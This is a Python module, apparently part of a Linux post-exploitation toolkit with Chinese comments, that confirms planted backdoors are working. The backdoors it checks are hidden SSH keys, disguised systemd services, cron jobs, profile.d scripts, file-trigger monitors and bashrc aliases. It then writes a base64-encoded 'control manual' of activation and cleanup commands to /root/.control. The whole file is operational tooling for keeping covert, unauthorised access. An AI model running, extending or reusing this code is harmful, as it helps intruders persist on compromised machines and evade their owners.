#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

本地验证系统 - 后门有效性验证和控制手册生成
实现部署后的自动验证、控制凭证交付和操作手册生成
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import base64
import subprocess
import tempfile
from datetime import datetime
from pathlib import Path





class LocalVerification:
    """本地验证系统 - 后门有效性验证"""
    
    def __init__(self):
        self.verification_results = {}
        self.control_manual = {}
        self.verification_log = []
        self.failed_backdoors = []
        
    def verify_deployment(self, deployment_config):
        """验证部署的后门"""
        try:
            print("[*] 开始验证后门部署...")
            
            backdoors = deployment_config.get('backdoors', [])
            total_backdoors = len(backdoors)
            verified_count = 0
            
            for i, backdoor in enumerate(backdoors, 1):
                print("\n[*] 验证后门 {}/{}: {}".format(i, total_backdoors, backdoor['name']))
                
                if self._verify_single_backdoor(backdoor):
                    verified_count += 1
                    print("[+] {} 验证成功".format(backdoor['name']))
                else:
                    print("[-] {} 验证失败".format(backdoor['name']))
                    self.failed_backdoors.append(backdoor)
            
            # 生成控制手册
            if verified_count > 0:
                self._generate_control_manual(deployment_config)
            
            print("\n[+] 验证完成: {}/{} 个后门验证成功".format(verified_count, total_backdoors))
            
            return verified_count > 0
            
        except Exception as e:
            print("[-] 验证过程发生错误: {}".format(e))
            return False
    
    def _verify_single_backdoor(self, backdoor_config):
        """验证单个后门"""
        try:
            backdoor_type = backdoor_config.get('type')
            
            if backdoor_type == 'ssh_key':
                return self._verify_ssh_key_backdoor(backdoor_config)
            elif backdoor_type == 'systemd_service':
                return self._verify_systemd_service_backdoor(backdoor_config)
            elif backdoor_type == 'crontab':
                return self._verify_crontab_backdoor(backdoor_config)
            elif backdoor_type == 'env_variable':
                return self._verify_env_variable_backdoor(backdoor_config)
            elif backdoor_type == 'file_trigger':
                return self._verify_file_trigger_backdoor(backdoor_config)
            elif backdoor_type == 'bashrc_alias':
                return self._verify_bashrc_alias_backdoor(backdoor_config)
            else:
                print("[-] 不支持的后门类型验证: {}".format(backdoor_type))
                return False
                
        except Exception as e:
            print("[-] 后门验证失败: {}".format(e))
            return False
    
    def _verify_ssh_key_backdoor(self, config):
        """验证SSH密钥后门"""
        try:
            key_config = config.get('config', {})
            key_path = os.path.expanduser(key_config.get('key_path', '~/.ssh/.hidden_key'))
            
            # 检查密钥文件是否存在
            if not os.path.exists(key_path):
                print("[-] SSH私钥文件不存在: {}".format(key_path))
                return False
            
            public_key_path = "{}.pub".format(key_path)
            if not os.path.exists(public_key_path):
                print("[-] SSH公钥文件不存在: {}".format(public_key_path))
                return False
            
            # 检查authorized_keys
            authorized_keys_path = os.path.expanduser('~/.ssh/authorized_keys')
            if not os.path.exists(authorized_keys_path):
                print("[-] authorized_keys文件不存在")
                return False
            
            # 读取公钥内容
            with open(public_key_path, 'r') as f:
                public_key = f.read().strip()
            
            # 检查公钥是否在authorized_keys中
            with open(authorized_keys_path, 'r') as f:
                authorized_content = f.read()
            
            if public_key not in authorized_content:
                print("[-] 公钥未添加到authorized_keys")
                return False
            
            # 测试SSH连接（本地测试）
            test_cmd = [
                'ssh', '-i', key_path,
                '-o', 'StrictHostKeyChecking=no',
                '-o', 'UserKnownHostsFile=/dev/null',
                '-o', 'ConnectTimeout=5',
                'localhost', 'echo "SSH_TEST_SUCCESS"'
            ]
            
            result = subprocess.run(test_cmd, capture_output=True, text=True, timeout=10)
            
            if result.returncode == 0 and 'SSH_TEST_SUCCESS' in result.stdout:
                # 记录验证结果
                self.verification_results[config['deployment_id']] = {
                    'type': 'ssh_key',
                    'status': 'verified',
                    'key_path': key_path,
                    'test_result': 'success'
                }
                return True
            else:
                print("[-] SSH连接测试失败: {}".format(result.stderr))
                return False
                
        except Exception as e:
            print("[-] SSH密钥后门验证失败: {}".format(e))
            return False
    
    def _verify_systemd_service_backdoor(self, config):
        """验证Systemd服务后门"""
        try:
            service_config = config.get('config', {})
            service_name = service_config.get('service_name', 'log-cleaner.service')
            
            # 检查服务是否存在
            result = subprocess.run(
                ['systemctl', 'list-unit-files', service_name],
                capture_output=True, text=True
            )
            
            if service_name not in result.stdout:
                print("[-] 服务未找到: {}".format(service_name))
                return False
            
            # 检查服务状态
            result = subprocess.run(
                ['systemctl', 'is-active', service_name],
                capture_output=True, text=True
            )
            
            if result.stdout.strip() != 'active':
                print("[-] 服务未运行: {}".format(service_name))
                return False
            
            # 测试服务重启
            restart_result = subprocess.run(
                ['systemctl', 'restart', service_name],
                capture_output=True, text=True
            )
            
            if restart_result.returncode != 0:
                print("[-] 服务重启失败: {}".format(restart_result.stderr))
                return False
            
            # 等待服务启动
            time.sleep(2)
            
            # 再次检查状态
            result = subprocess.run(
                ['systemctl', 'is-active', service_name],
                capture_output=True, text=True
            )
            
            if result.stdout.strip() == 'active':
                # 记录验证结果
                self.verification_results[config['deployment_id']] = {
                    'type': 'systemd_service',
                    'status': 'verified',
                    'service_name': service_name,
                    'test_result': 'restart_success'
                }
                return True
            else:
                print("[-] 服务重启后未运行: {}".format(service_name))
                return False
                
        except Exception as e:
            print("[-] Systemd服务后门验证失败: {}".format(e))
            return False
    
    def _verify_crontab_backdoor(self, config):
        """验证Crontab定时后门"""
        try:
            cron_config = config.get('config', {})
            command = cron_config.get('command', '/usr/bin/system-check')
            
            # 检查脚本文件是否存在
            if not os.path.exists(command):
                print("[-] Cron脚本文件不存在: {}".format(command))
                return False
            
            # 检查脚本是否可执行
            if not os.access(command, os.X_OK):
                print("[-] Cron脚本文件不可执行: {}".format(command))
                return False
            
            # 检查crontab条目
            result = subprocess.run(['crontab', '-l'], capture_output=True, text=True)
            
            if result.returncode != 0:
                print("[-] 无法读取crontab")
                return False
            
            if command not in result.stdout:
                print("[-] Crontab中未找到命令: {}".format(command))
                return False
            
            # 测试脚本执行
            test_result = subprocess.run([command], capture_output=True, text=True, timeout=10)
            
            if test_result.returncode == 0:
                # 记录验证结果
                self.verification_results[config['deployment_id']] = {
                    'type': 'crontab',
                    'status': 'verified',
                    'command': command,
                    'test_result': 'execution_success'
                }
                return True
            else:
                print("[-] Cron脚本执行失败: {}".format(test_result.stderr))
                return False
                
        except Exception as e:
            print("[-] Crontab定时后门验证失败: {}".format(e))
            return False
    
    def _verify_env_variable_backdoor(self, config):
        """验证环境变量后门"""
        try:
            env_config = config.get('config', {})
            profile_path = env_config.get('profile_path', '/etc/profile.d/.system-env.sh')
            variable_name = env_config.get('variable_name', 'SYSTEM_PATH_CACHE')
            
            # 检查脚本文件是否存在
            if not os.path.exists(profile_path):
                print("[-] 环境变量脚本不存在: {}".format(profile_path))
                return False
            
            # 检查脚本内容
            with open(profile_path, 'r') as f:
                content = f.read()
            
            if variable_name not in content:
                print("[-] 环境变量未找到: {}".format(variable_name))
                return False
            
            # 测试脚本执行
            test_result = subprocess.run(
                ['bash', '-c', "source {} && echo ${}".format(profile_path, variable_name)],
                capture_output=True, text=True
            )
            
            if test_result.returncode == 0 and test_result.stdout.strip():
                # 记录验证结果
                self.verification_results[config['deployment_id']] = {
                    'type': 'env_variable',
                    'status': 'verified',
                    'profile_path': profile_path,
                    'variable_name': variable_name,
                    'test_result': 'variable_set'
                }
                return True
            else:
                print("[-] 环境变量测试失败: {}".format(test_result.stderr))
                return False
                
        except Exception as e:
            print("[-] 环境变量后门验证失败: {}".format(e))
            return False
    
    def _verify_file_trigger_backdoor(self, config):
        """验证文件触发后门"""
        try:
            trigger_config = config.get('config', {})
            trigger_file = trigger_config.get('trigger_file', '/tmp/.sync')
            response_file = trigger_config.get('response_file', '/var/log/.sync.log')
            monitor_script = trigger_config.get('monitor_script', '/usr/local/bin/file-monitor')
            
            # 检查监控脚本是否存在
            if not os.path.exists(monitor_script):
                print("[-] 监控脚本不存在: {}".format(monitor_script))
                return False
            
            # 检查监控进程是否运行
            result = subprocess.run(
                ['pgrep', '-f', monitor_script],
                capture_output=True, text=True
            )
            
            if result.returncode != 0:
                print("[-] 监控进程未运行: {}".format(monitor_script))
                return False
            
            # 测试触发机制
            test_message = "test_trigger_{}".format(int(time.time()))
            
            # 创建触发文件
            with open(trigger_file, 'w') as f:
                f.write(test_message)
            
            # 等待响应
            time.sleep(15)
            
            # 检查响应文件
            if os.path.exists(response_file):
                with open(response_file, 'r') as f:
                    response_content = f.read()
                
                if 'Trigger activated' in response_content:
                    # 清理测试文件
                    if os.path.exists(trigger_file):
                        os.remove(trigger_file)
                    
                    # 记录验证结果
                    self.verification_results[config['deployment_id']] = {
                        'type': 'file_trigger',
                        'status': 'verified',
                        'trigger_file': trigger_file,
                        'response_file': response_file,
                        'test_result': 'trigger_success'
                    }
                    return True
                else:
                    print("[-] 触发机制未响应")
                    return False
            else:
                print("[-] 响应文件未生成: {}".format(response_file))
                return False
                
        except Exception as e:
            print("[-] 文件触发后门验证失败: {}".format(e))
            return False
    
    def _verify_bashrc_alias_backdoor(self, config):
        """验证Bashrc别名后门"""
        try:
            alias_config = config.get('config', {})
            bashrc_path = os.path.expanduser(alias_config.get('bashrc_path', '~/.bashrc'))
            alias_name = alias_config.get('alias_name', 'system-status')
            
            # 检查bashrc文件是否存在
            if not os.path.exists(bashrc_path):
                print("[-] Bashrc文件不存在: {}".format(bashrc_path))
                return False
            
            # 检查别名是否存在
            with open(bashrc_path, 'r') as f:
                content = f.read()
            
            if "alias {}=".format(alias_name) not in content:
                print("[-] 别名未找到: {}".format(alias_name))
                return False
            
            # 测试别名执行
            test_result = subprocess.run(
                ['bash', '-c', "source {} && {}".format(bashrc_path, alias_name)],
                capture_output=True, text=True
            )
            
            if test_result.returncode == 0:
                # 记录验证结果
                self.verification_results[config['deployment_id']] = {
                    'type': 'bashrc_alias',
                    'status': 'verified',
                    'bashrc_path': bashrc_path,
                    'alias_name': alias_name,
                    'test_result': 'alias_works'
                }
                return True
            else:
                print("[-] 别名执行失败: {}".format(test_result.stderr))
                return False
                
        except Exception as e:
            print("[-] Bashrc别名后门验证失败: {}".format(e))
            return False
    
    def _generate_control_manual(self, deployment_config):
        """生成控制手册"""
        try:
            print("[*] 生成控制手册...")
            
            self.control_manual = {
                'deployment_info': {
                    'strategy_name': deployment_config.get('strategy_name', 'Unknown'),
                    'deployment_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
                    'total_backdoors': len(deployment_config.get('backdoors', [])),
                    'verified_backdoors': len(self.verification_results)
                },
                'backdoor_controls': {},
                'status_commands': {},
                'emergency_commands': {}
            }
            
            # 为每个验证成功的后门生成控制指令
            for deployment_id, result in self.verification_results.items():
                backdoor_type = result['type']
                
                if backdoor_type == 'ssh_key':
                    self._add_ssh_key_controls(deployment_id, result)
                elif backdoor_type == 'systemd_service':
                    self._add_systemd_service_controls(deployment_id, result)
                elif backdoor_type == 'crontab':
                    self._add_crontab_controls(deployment_id, result)
                elif backdoor_type == 'env_variable':
                    self._add_env_variable_controls(deployment_id, result)
                elif backdoor_type == 'file_trigger':
                    self._add_file_trigger_controls(deployment_id, result)
                elif backdoor_type == 'bashrc_alias':
                    self._add_bashrc_alias_controls(deployment_id, result)
            
            # 保存控制手册
            self._save_control_manual()
            
            print("[+] 控制手册生成完成")
            
        except Exception as e:
            print("[-] 控制手册生成失败: {}".format(e))
    
    def _add_ssh_key_controls(self, deployment_id, result):
        """添加SSH密钥控制指令"""
        key_path = result['key_path']
        
        self.control_manual['backdoor_controls'][deployment_id] = {
            'name': 'SSH密钥后门',
            'type': 'ssh_key',
            'activation': "ssh -i {} localhost".format(key_path),
            'description': '使用隐藏SSH密钥登录'
        }
        
        self.control_manual['status_commands'][deployment_id] = "test -f {} && echo 'SSH密钥：正常' || echo 'SSH密钥：异常'".format(key_path)
        self.control_manual['emergency_commands'][deployment_id] = "rm -f {} {}.pub".format(key_path, key_path)
    
    def _add_systemd_service_controls(self, deployment_id, result):
        """添加Systemd服务控制指令"""
        service_name = result['service_name']
        
        self.control_manual['backdoor_controls'][deployment_id] = {
            'name': 'Systemd服务后门',
            'type': 'systemd_service',
            'activation': f'echo "command_here" > /tmp/.service_cmd && touch /tmp/.service_trigger',
            'description': '通过触发文件执行命令'
        }
        
        self.control_manual['status_commands'][deployment_id] = "systemctl is-active {}".format(service_name)
        self.control_manual['emergency_commands'][deployment_id] = "systemctl stop {} && systemctl disable {}".format(service_name, service_name)
    
    def _add_crontab_controls(self, deployment_id, result):
        """添加Crontab控制指令"""
        command = result['command']
        
        self.control_manual['backdoor_controls'][deployment_id] = {
            'name': 'Crontab定时后门',
            'type': 'crontab',
            'activation': f'echo "command_here" > /tmp/.cron_cmd && touch /tmp/.cron_trigger',
            'description': '通过触发文件执行命令'
        }
        
        self.control_manual['status_commands'][deployment_id] = "crontab -l | grep -q '{}' && echo 'Crontab：正常' || echo 'Crontab：异常'".format(command)
        self.control_manual['emergency_commands'][deployment_id] = "crontab -l | grep -v {} | crontab -".format(command)
    
    def _add_env_variable_controls(self, deployment_id, result):
        """添加环境变量控制指令"""
        profile_path = result['profile_path']
        variable_name = result['variable_name']
        
        self.control_manual['backdoor_controls'][deployment_id] = {
            'name': '环境变量后门',
            'type': 'env_variable',
            'activation': "export {}=enable_maintenance_mode".format(variable_name),
            'description': '设置环境变量触发维护模式'
        }
        
        self.control_manual['status_commands'][deployment_id] = "test -f '{}' && echo '环境变量：正常' || echo '环境变量：异常'".format(profile_path)
        self.control_manual['emergency_commands'][deployment_id] = "rm -f {}".format(profile_path)
    
    def _add_file_trigger_controls(self, deployment_id, result):
        """添加文件触发控制指令"""
        trigger_file = result['trigger_file']
        response_file = result['response_file']
        
        self.control_manual['backdoor_controls'][deployment_id] = {
            'name': '文件触发后门',
            'type': 'file_trigger',
            'activation': f'echo "command_here" > {trigger_file}.cmd && touch {trigger_file}',
            'description': '创建触发文件执行命令'
        }
        
        self.control_manual['status_commands'][deployment_id] = f'pgrep -f file-monitor > /dev/null && echo "文件触发：正常" || echo "文件触发：异常"'
        self.control_manual['emergency_commands'][deployment_id] = "pkill -f file-monitor && rm -f {}*".format(trigger_file)
    
    def _add_bashrc_alias_controls(self, deployment_id, result):
        """添加Bashrc别名控制指令"""
        alias_name = result['alias_name']
        bashrc_path = result['bashrc_path']
        
        self.control_manual['backdoor_controls'][deployment_id] = {
            'name': 'Bashrc别名后门',
            'type': 'bashrc_alias',
            'activation': "source {} && {}".format(bashrc_path, alias_name),
            'description': '执行别名命令'
        }
        
        self.control_manual['status_commands'][deployment_id] = f'grep -q "alias {alias_name}" {bashrc_path} && echo "别名：正常" || echo "别名：异常"'
        self.control_manual['emergency_commands'][deployment_id] = f'sed -i "/alias {alias_name}/d" {bashrc_path}'
    
    def _save_control_manual(self):
        """保存控制手册"""
        try:
            # 生成加密的控制手册
            manual_content = json.dumps(self.control_manual, indent=2, ensure_ascii=False)
            
            # 简单base64编码（实际应用中应使用更强的加密）
            encoded_content = base64.b64encode(manual_content.encode()).decode()
            
            # 保存到隐藏文件
            manual_file = '/root/.control'
            with open(manual_file, 'w') as f:
                f.write(encoded_content)
            
            os.chmod(manual_file, 0o600)
            
            # 同时保存明文版本用于调试
            debug_file = '/tmp/.control_debug.json'
            with open(debug_file, 'w') as f:
                f.write(manual_content)
            
            print("[+] 控制手册已保存到: {}".format(manual_file))
            print("[+] 调试版本保存到: {}".format(debug_file))
            
        except Exception as e:
            print("[-] 控制手册保存失败: {}".format(e))
    
    def print_verification_summary(self):
        """打印验证摘要"""
        try:
            print("\n" + "="*60)
            print("[+] 后门验证摘要")
            print("="*60)
            
            total_verified = len(self.verification_results)
            total_failed = len(self.failed_backdoors)
            
            print("[*] 验证成功: {} 个后门".format(total_verified))
            print("[*] 验证失败: {} 个后门".format(total_failed))
            
            if total_verified > 0:
                print("\n[*] 验证成功的后门:")
                for deployment_id, result in self.verification_results.items():
                    print("  - {}: {}".format(result['type'], result['test_result']))
            
            if total_failed > 0:
                print("\n[*] 验证失败的后门:")
                for backdoor in self.failed_backdoors:
                    print("  - {}: {}".format(backdoor['name'], backdoor['type']))
            
            print("\n[*] 控制手册位置: /root/.control")
            print("[*] 使用方法: cat /root/.control | base64 -d | jq")
            
            print("="*60)
            
        except Exception as e:
            print("[-] 验证摘要输出失败: {}".format(e))
    
    def get_verification_results(self):
        """获取验证结果"""
        return self.verification_results
    
    def get_control_manual(self):
        """获取控制手册"""
        return self.control_manual
    
    def load_control_manual(self, manual_file='/root/.control'):
        """加载控制手册"""
        try:
            if not os.path.exists(manual_file):
                print("[-] 控制手册文件不存在: {}".format(manual_file))
                return False
            
            with open(manual_file, 'r') as f:
                encoded_content = f.read()
            
            # 解码控制手册
            manual_content = base64.b64decode(encoded_content).decode()
            self.control_manual = json.loads(manual_content)
            
            print("[+] 控制手册已从 {} 加载".format(manual_file))
            return True
            
        except Exception as e:
            print("[-] 控制手册加载失败: {}".format(e))
            return False
    
    def print_control_manual(self):
        """打印控制手册"""
        try:
            if not self.control_manual:
                print("[-] 控制手册为空")
                return
            
            print("\n" + "="*60)
            print("[+] 后门控制手册")
            print("="*60)
            
            # 部署信息
            deploy_info = self.control_manual.get('deployment_info', {})
            print("[*] 策略名称: {}".format(deploy_info.get('strategy_name', 'Unknown')))
            print("[*] 部署时间: {}".format(deploy_info.get('deployment_time', 'Unknown')))
            print("[*] 验证后门: {} 个".format(deploy_info.get('verified_backdoors', 0)))
            
            # 后门控制
            print("\n[*] 后门激活方式:")
            for deployment_id, control in self.control_manual.get('backdoor_controls', {}).items():
                print("  {}:".format(control['name']))
                print("    激活: {}".format(control['activation']))
                print("    说明: {}".format(control['description']))
                print()
            
            # 状态查询
            print("[*] 状态查询命令:")
            for deployment_id, command in self.control_manual.get('status_commands', {}).items():
                print("  {}".format(command))
            
            # 紧急清理
            print("\n[*] 紧急清理命令:")
            for deployment_id, command in self.control_manual.get('emergency_commands', {}).items():
                print("  {}".format(command))
            
            print("="*60)
            
        except Exception as e:
            print("[-] 控制手册输出失败: {}".format(e))


def main():
    """主函数 - 测试用"""
    print("本地验证系统 - 测试")
    
    # 模拟部署配置
    test_config = {
        'strategy_name': '测试策略',
        'backdoors': [
            {
                'name': 'SSH密钥后门',
                'type': 'ssh_key',
                'deployment_id': 'test_ssh_001',
                'config': {
                    'key_path': '~/.ssh/.test_key'
                }
            }
        ]
    }
    
    verification = LocalVerification()
    
    if verification.verify_deployment(test_config):
        verification.print_verification_summary()
        verification.print_control_manual()
    else:
        print("\n[-] 测试验证失败")


if __name__ == "__main__":
    main()